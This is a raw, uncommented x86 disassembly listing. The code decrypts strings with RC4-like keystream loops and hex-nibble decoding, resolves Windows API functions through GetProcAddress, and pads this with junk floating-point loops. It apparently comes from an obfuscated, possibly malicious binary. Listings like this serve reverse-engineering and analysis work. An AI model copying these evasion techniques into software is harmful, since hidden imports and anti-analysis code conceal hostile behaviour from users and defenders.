movzx ecx, byte [ebp - 0x37c5]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x37ce]
add ecx, eax
mov byte [ebp - 0x37ce], cl
movzx edx, byte [ebp - 0x37cd]
movzx eax, byte [ebp - 0x3699]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3641]
shl ecx, 0
lea esi, [ebp - 0x3228]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3698]
shl ecx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3727]
shl eax, 0
lea esi, [ebp - 0x3228]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x37ce]
shl eax, 0
lea esi, [ebp - 0x3228]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3698], dl
mov dl, byte [ebp - 0x37cd]
mov byte [ebp - 0x3727], dl
mov al, byte [ebp - 0x3698]
mov byte [ebp - 0x37f4], al
cmp dword [ebp - 0x37dc], 0
jbe 0x47f1df
mov ecx, dword [ebp - 0x37dc]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x310c]
mov al, byte [ebp - 0x37f4]
mov byte [ecx + edx], al
jmp 0x47ef0e
mov ecx, dword [ebp - 0x41b8]
add ecx, 1
mov dword [ebp - 0x41b8], ecx
mov edx, 1
imul eax, edx, 0x12
mov dword [ebp - 0x5f6c], eax
cmp dword [ebp - 0x5f6c], 0x13
jae 0x47f20c
jmp 0x47f211
call fcn.009b6d77
lea ecx, [ebp - 0x310c]
add ecx, dword [ebp - 0x5f6c]
mov byte [ecx], 0
jmp 0x47f273
mov dword [ebp - 0x37dc], 0
jmp 0x47f23d
mov edx, dword [ebp - 0x37dc]
add edx, 1
mov dword [ebp - 0x37dc], edx
cmp dword [ebp - 0x37dc], 0x13
jae 0x47f273
mov eax, dword [ebp - 0x37dc]
mov dword [ebp - 0x5f68], eax
cmp dword [ebp - 0x5f68], 0x13
jae 0x47f25d
jmp 0x47f262
call fcn.009b6d77
lea ecx, [ebp - 0x310c]
add ecx, dword [ebp - 0x5f68]
mov byte [ecx], 0
jmp 0x47f22e
lea edx, [ebp - 0x310c]
push edx
mov eax, dword [ebp - 0x37e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06800], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x56c8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5398], xmm0
mov dword [ebp - 0x3714], 0
mov dword [ebp - 0x4e14], 0
mov dword [ebp - 0x58d8], 0
mov dword [ebp - 0x5410], 1
mov dword [ebp - 0x48a4], 0
mov dword [ebp - 0x5d3c], 0
mov dword [ebp - 0x39c8], 0
mov dword [ebp - 0x3f0c], 0
mov dword [ebp - 0x3de4], 0
mov dword [ebp - 0x3de8], 0
mov dword [ebp - 0x3f10], 0
mov dword [ebp - 0x3dec], 0
mov dword [ebp - 0x3df0], 0
mov dword [ebp - 0x3df4], 0
mov dword [ebp - 0x3df8], 0
mov dword [ebp - 0x3f14], 0
mov dword [ebp - 0x3f18], 0
mov dword [ebp - 0x3f1c], 0
mov dword [ebp - 0x4e18], 0
mov byte [ebp - 0x3585], 0
mov byte [ebp - 0x35aa], 0
mov byte [ebp - 0x3643], 0
mov byte [ebp - 0x35ab], 0
mov byte [ebp - 0x35f6], 0
mov byte [ebp - 0x3777], 0
mov byte [ebp - 0x41a3], 0
mov byte [ebp - 0x3644], 0
mov byte [ebp - 0x3642], 0
mov byte [ebp - 0x3759], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x56c8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5398], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5398], xmm0
jmp 0x47f3e1
movsd xmm0, qword [ebp - 0x5398]
addsd xmm0, qword [0x9d9050]
movsd qword [ebp - 0x5398], xmm0
movsd xmm0, qword [0x9db2b0]
comisd xmm0, xmmword [ebp - 0x5398]
jbe 0x47f492
movsd xmm0, qword [0x9da310]
mulsd xmm0, qword [ebp - 0x5398]
mulsd xmm0, qword [ebp - 0x5398]
movsd xmm1, qword [ebp - 0x5398]
mulsd xmm1, qword [ebp - 0x5398]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9e20]
mulsd xmm1, qword [ebp - 0x5398]
mulsd xmm1, qword [ebp - 0x5398]
addsd xmm1, qword [0x9d9f68]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x56c8]
movsd qword [ebp - 0x56c8], xmm0
cmp byte [ecx + 0xff2ffff], ch
adc dword [ebp - 0x56c8], eax
invalid
movsd xmm0, qword [ebp - 0x56c8]
comisd xmm0, xmmword [0x9da138]
jbe 0x47f48d
movsd xmm0, qword [0x9d9d58]
mulsd xmm0, qword [ebp - 0x5398]
movsd xmm1, qword [ebp - 0x56c8]
subsd xmm1, xmm0
movsd qword [ebp - 0x56c8], xmm1
jmp 0x47f3c9
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x56c8]
jbe 0x47f4ce
cdq
xlatb
mov dword [0xa3d9a1e6], eax
loop 0x47f44b
loope 0x47f44d
xlatb
cdq
fcomp qword [ebx - 0x6022641f]
fcomp qword [edx - 0x62276329]
in al, 0x42
dec eax
push ecx
xor eax, 0x784e7878
and eax, 0x3e56474c
push 0x6d
aas
jmp 0x481210
mov dword [ebp - 0x61e0], 0x47f49f
mov dword [ebp - 0x61e4], 0x47f4b9
mov ecx, dword [ebp - 0x61e0]
mov dword [ebp - 0x4100], ecx
mov edx, dword [ebp - 0x61e4]
mov dword [ebp - 0x61e8], edx
mov byte [ebp - 0x41a3], 0x14
mov dword [ebp - 0x3714], 0
mov dword [ebp - 0x4e14], 0
mov dword [ebp - 0x3714], 0
jmp 0x47f530
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x3714], eax
cmp dword [ebp - 0x3714], 0x100
jae 0x47f556
mov ecx, dword [ebp - 0x3714]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov al, byte [ebp - 0x3714]
mov byte [ecx + edx], al
jmp 0x47f521
mov dword [ebp - 0x4e14], 0
mov byte [ebp - 0x3777], 0
mov dword [ebp - 0x3714], 0xff
jmp 0x47f582
mov ecx, dword [ebp - 0x3714]
sub ecx, 1
mov dword [ebp - 0x3714], ecx
cmp dword [ebp - 0x3714], 0
jbe 0x47f848
mov dword [ebp - 0x58d8], 0
mov dword [ebp - 0x5410], 1
mov dword [ebp - 0x48a4], 0
mov edx, dword [ebp - 0x5410]
cmp edx, dword [ebp - 0x3714]
jae 0x47f5ce
mov eax, dword [ebp - 0x5410]
shl eax, 1
add eax, 1
mov dword [ebp - 0x5410], eax
jmp 0x47f5ad
mov ecx, dword [ebp - 0x4e14]
mov dword [ebp - 0x5f64], ecx
cmp dword [ebp - 0x5f64], 3
ja case.default.0x47f5ed
mov edx, dword [ebp - 0x5f64]
jmp dword [edx*4 + 0x4f073c]
movzx eax, byte [ebp - 0x3777]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56c8]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3777], bl
jmp 0x47f6f4
movzx edx, byte [ebp - 0x3777]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56c8]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3777], bl
jmp 0x47f6f4
movzx ecx, byte [ebp - 0x3777]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56c8]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3777], bl
jmp 0x47f6f4
movzx eax, byte [ebp - 0x3777]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56c8]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3777], bl
jmp 0x47f6f4
movzx edx, byte [ebp - 0x3777]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x4e14]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3777], cl
mov ecx, dword [ebp - 0x4e14]
add ecx, 1
mov dword [ebp - 0x4e14], ecx
movzx edx, byte [ebp - 0x41a3]
cmp dword [ebp - 0x4e14], edx
jb 0x47f732
mov dword [ebp - 0x4e14], 0
movzx eax, byte [ebp - 0x41a3]
movzx ecx, byte [ebp - 0x3777]
add ecx, eax
mov byte [ebp - 0x3777], cl
movzx edx, byte [ebp - 0x3777]
and edx, dword [ebp - 0x5410]
mov dword [ebp - 0x48a4], edx
mov eax, dword [ebp - 0x58d8]
add eax, 1
mov dword [ebp - 0x58d8], eax
cmp dword [ebp - 0x58d8], 0xb
jbe 0x47f771
mov eax, dword [ebp - 0x48a4]
xor edx, edx
div dword [ebp - 0x3714]
mov dword [ebp - 0x48a4], edx
mov ecx, dword [ebp - 0x48a4]
cmp ecx, dword [ebp - 0x3714]
ja 0x47f5ce
mov edx, dword [ebp - 0x3714]
cmp edx, dword [ebp - 0x48a4]
je 0x47f843
mov eax, dword [ebp - 0x3714]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov edx, dword [ebp - 0x48a4]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3714]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x48a4]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov edx, dword [ebp - 0x3714]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x48a4]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x3714]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov edx, dword [ebp - 0x48a4]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3714]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov byte [ecx + edx], al
jmp 0x47f573
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3585], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0x1c10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x35aa], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0x1c10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3643], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0x1c10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35ab], dl
movzx eax, byte [ebp - 0x3777]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35f6], dl
mov dword [ebp - 0x5d3c], 0x1a
cmp dword [ebp - 0x5d3c], 2
jle 0x4811bf
mov eax, dword [ebp - 0x5d3c]
and eax, 1
jne 0x4811bf
mov dword [ebp - 0x3714], 0
mov dword [ebp - 0x39c8], 0
mov ecx, dword [ebp - 0x39c8]
add ecx, 1
mov dword [ebp - 0x39c8], ecx
mov dword [ebp - 0x3f0c], 0
mov edx, dword [ebp - 0x3714]
shl edx, 1
mov dword [ebp - 0x3f0c], edx
mov dword [ebp - 0x3de4], 0
mov eax, dword [ebp - 0x3f0c]
shl eax, 0
add eax, dword [ebp - 0x4100]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3de4]
mov dword [ebp - 0x3de4], ecx
mov dword [ebp - 0x3de8], 0
mov edx, dword [ebp - 0x3de8]
add edx, 0x99
mov dword [ebp - 0x3de8], edx
mov dword [ebp - 0x3f10], 0
mov eax, dword [ebp - 0x3714]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3f10], eax
mov dword [ebp - 0x3dec], 0
mov ecx, dword [ebp - 0x3f10]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3dec]
mov dword [ebp - 0x3dec], edx
mov dword [ebp - 0x3df0], 0
mov eax, dword [ebp - 0x3df0]
add eax, 0xd7
mov dword [ebp - 0x3df0], eax
mov dword [ebp - 0x3df4], 0
mov ecx, dword [ebp - 0x3de4]
sub ecx, dword [ebp - 0x3de8]
add ecx, dword [ebp - 0x3df4]
mov dword [ebp - 0x3df4], ecx
mov dword [ebp - 0x3df8], 0
mov edx, dword [ebp - 0x3dec]
sub edx, dword [ebp - 0x3df0]
add edx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3df8], edx
mov dword [ebp - 0x3f14], 0
mov eax, dword [ebp - 0x3df4]
shl eax, 4
mov dword [ebp - 0x3f14], eax
mov dword [ebp - 0x3f18], 0
mov ecx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], ecx
mov dword [ebp - 0x3f1c], 0
mov edx, dword [ebp - 0x3f14]
or edx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], edx
mov byte [ebp - 0x3644], 0
mov al, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], al
mov byte [ebp - 0x3642], 0
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3642], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35aa]
add ecx, eax
mov byte [ebp - 0x35aa], cl
mov dl, byte [ebp - 0x3585]
add dl, 1
mov byte [ebp - 0x3585], dl
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [ebp - 0x3642]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3642]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3643]
add eax, edx
mov byte [ebp - 0x3643], al
movzx ecx, byte [ebp - 0x3644]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea esi, [ebp - 0x1c10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3643]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35ab], cl
mov cl, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], cl
mov dl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], dl
cmp dword [ebp - 0x3714], 0
jbe 0x47fc4b
mov eax, dword [ebp - 0x3714]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x5fc]
mov dl, byte [ebp - 0x3759]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x3714], eax
mov ecx, dword [ebp - 0x39c8]
add ecx, 1
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x3714]
shl edx, 1
mov dword [ebp - 0x3f0c], edx
mov eax, dword [ebp - 0x3f0c]
shl eax, 0
add eax, dword [ebp - 0x4100]
movzx ecx, byte [eax]
mov dword [ebp - 0x3de4], ecx
mov dword [ebp - 0x3de8], 0x99
mov edx, dword [ebp - 0x3714]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3f10], edx
mov eax, dword [ebp - 0x3f10]
shl eax, 0
add eax, dword [ebp - 0x4100]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dec], ecx
mov dword [ebp - 0x3df0], 0xd7
mov edx, dword [ebp - 0x3de4]
sub edx, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], edx
mov eax, dword [ebp - 0x3dec]
sub eax, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], eax
mov ecx, dword [ebp - 0x3df4]
shl ecx, 4
mov dword [ebp - 0x3f14], ecx
mov edx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], edx
mov eax, dword [ebp - 0x3f14]
or eax, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], eax
mov cl, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], cl
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea eax, [ebp - 0x1c10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3642], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35aa]
add edx, ecx
mov byte [ebp - 0x35aa], dl
mov al, byte [ebp - 0x3585]
add al, 1
mov byte [ebp - 0x3585], al
movzx ecx, byte [ebp - 0x35aa]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35f6]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35ab]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35aa]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35ab]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov al, byte [ebp - 0x3642]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3642]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3643]
add ecx, eax
mov byte [ebp - 0x3643], cl
movzx edx, byte [ebp - 0x3644]
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35f6]
shl eax, 0
lea esi, [ebp - 0x1c10]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3643]
shl eax, 0
lea esi, [ebp - 0x1c10]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x35ab], dl
mov dl, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], dl
mov al, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], al
cmp dword [ebp - 0x3714], 0
jbe 0x47ff0a
mov ecx, dword [ebp - 0x3714]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x5fc]
mov al, byte [ebp - 0x3759]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3714]
add ecx, 1
mov dword [ebp - 0x3714], ecx
mov edx, dword [ebp - 0x39c8]
add edx, 1
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x3714]
shl eax, 1
mov dword [ebp - 0x3f0c], eax
mov ecx, dword [ebp - 0x3f0c]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
mov dword [ebp - 0x3de4], edx
mov dword [ebp - 0x3de8], 0x99
mov eax, dword [ebp - 0x3714]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3f10], eax
mov ecx, dword [ebp - 0x3f10]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dec], edx
mov dword [ebp - 0x3df0], 0xd7
mov eax, dword [ebp - 0x3de4]
sub eax, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [ebp - 0x3dec]
sub ecx, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], ecx
mov edx, dword [ebp - 0x3df4]
shl edx, 4
mov dword [ebp - 0x3f14], edx
mov eax, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], eax
mov ecx, dword [ebp - 0x3f14]
or ecx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], ecx
mov dl, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], dl
movzx eax, byte [ebp - 0x35f6]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3642], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35aa]
add eax, edx
mov byte [ebp - 0x35aa], al
mov cl, byte [ebp - 0x3585]
add cl, 1
mov byte [ebp - 0x3585], cl
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
mov cl, byte [ebp - 0x3642]
mov byte [edx + eax], cl
movsd xmm0, qword [0x9db120]
movsd qword [ebp - 0x5ae8], xmm0
movsd xmm0, qword [0x9daf28]
movsd qword [ebp - 0x5190], xmm0
movsd xmm0, qword [0x9daae0]
movsd qword [ebp - 0x5bd0], xmm0
movsd xmm0, qword [0x9da660]
movsd qword [ebp - 0x581c], xmm0
movsd xmm0, qword [ebp - 0x5bd0]
mulsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5bd0], xmm0
movsd xmm0, qword [ebp - 0x5ae8]
subsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5ae8], xmm0
movsd xmm0, qword [ebp - 0x5ae8]
addsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5ae8], xmm0
movsd xmm0, qword [ebp - 0x5190]
mulsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5190], xmm0
movsd xmm0, qword [ebp - 0x581c]
comisd xmm0, xmmword [ebp - 0x5190]
jbe 0x4801d5
movsd xmm0, qword [ebp - 0x5ae8]
addsd xmm0, qword [ebp - 0x5bd0]
movsd qword [ebp - 0x5ae8], xmm0
movsd xmm0, qword [ebp - 0x5190]
mulsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5190], xmm0
movsd xmm0, qword [ebp - 0x5bd0]
addsd xmm0, qword [ebp - 0x5ae8]
movsd qword [ebp - 0x5bd0], xmm0
movsd xmm0, qword [ebp - 0x5bd0]
subsd xmm0, qword [ebp - 0x5ae8]
movsd qword [ebp - 0x5bd0], xmm0
jmp 0x480258
movzx edx, byte [ebp - 0x3642]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3643]
add edx, ecx
mov byte [ebp - 0x3643], dl
movsd xmm0, qword [ebp - 0x5190]
subsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5190], xmm0
movsd xmm0, qword [ebp - 0x5190]
addsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5190], xmm0
movsd xmm0, qword [ebp - 0x5190]
subsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5190], xmm0
movsd xmm0, qword [ebp - 0x5190]
addsd xmm0, qword [ebp - 0x581c]
movsd qword [ebp - 0x5190], xmm0
movzx eax, byte [ebp - 0x3644]
movzx ecx, byte [ebp - 0x35aa]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35ab]
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3643]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35ab], al
mov al, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], al
mov cl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], cl
cmp dword [ebp - 0x3714], 0
jbe 0x480342
mov edx, dword [ebp - 0x3714]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x5fc]
mov cl, byte [ebp - 0x3759]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x39c8]
add edx, 3
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x4e18], eax
jmp 0x480371
mov ecx, dword [ebp - 0x4e18]
add ecx, 1
mov dword [ebp - 0x4e18], ecx
mov edx, dword [ebp - 0x4e18]
cmp edx, dword [ebp - 0x39c8]
jge 0x480639
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x3714], eax
mov ecx, dword [ebp - 0x3714]
shl ecx, 1
mov dword [ebp - 0x3f0c], ecx
mov edx, dword [ebp - 0x3f0c]
shl edx, 0
add edx, dword [ebp - 0x4100]
movzx eax, byte [edx]
mov dword [ebp - 0x3de4], eax
mov dword [ebp - 0x3de8], 0x99
mov ecx, dword [ebp - 0x3714]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3f10], ecx
mov edx, dword [ebp - 0x3f10]
shl edx, 0
add edx, dword [ebp - 0x4100]
movzx eax, byte [edx]
mov dword [ebp - 0x3dec], eax
mov dword [ebp - 0x3df0], 0xd7
mov ecx, dword [ebp - 0x3de4]
sub ecx, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], ecx
mov edx, dword [ebp - 0x3dec]
sub edx, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], edx
mov eax, dword [ebp - 0x3df4]
shl eax, 4
mov dword [ebp - 0x3f14], eax
mov ecx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], ecx
mov edx, dword [ebp - 0x3f14]
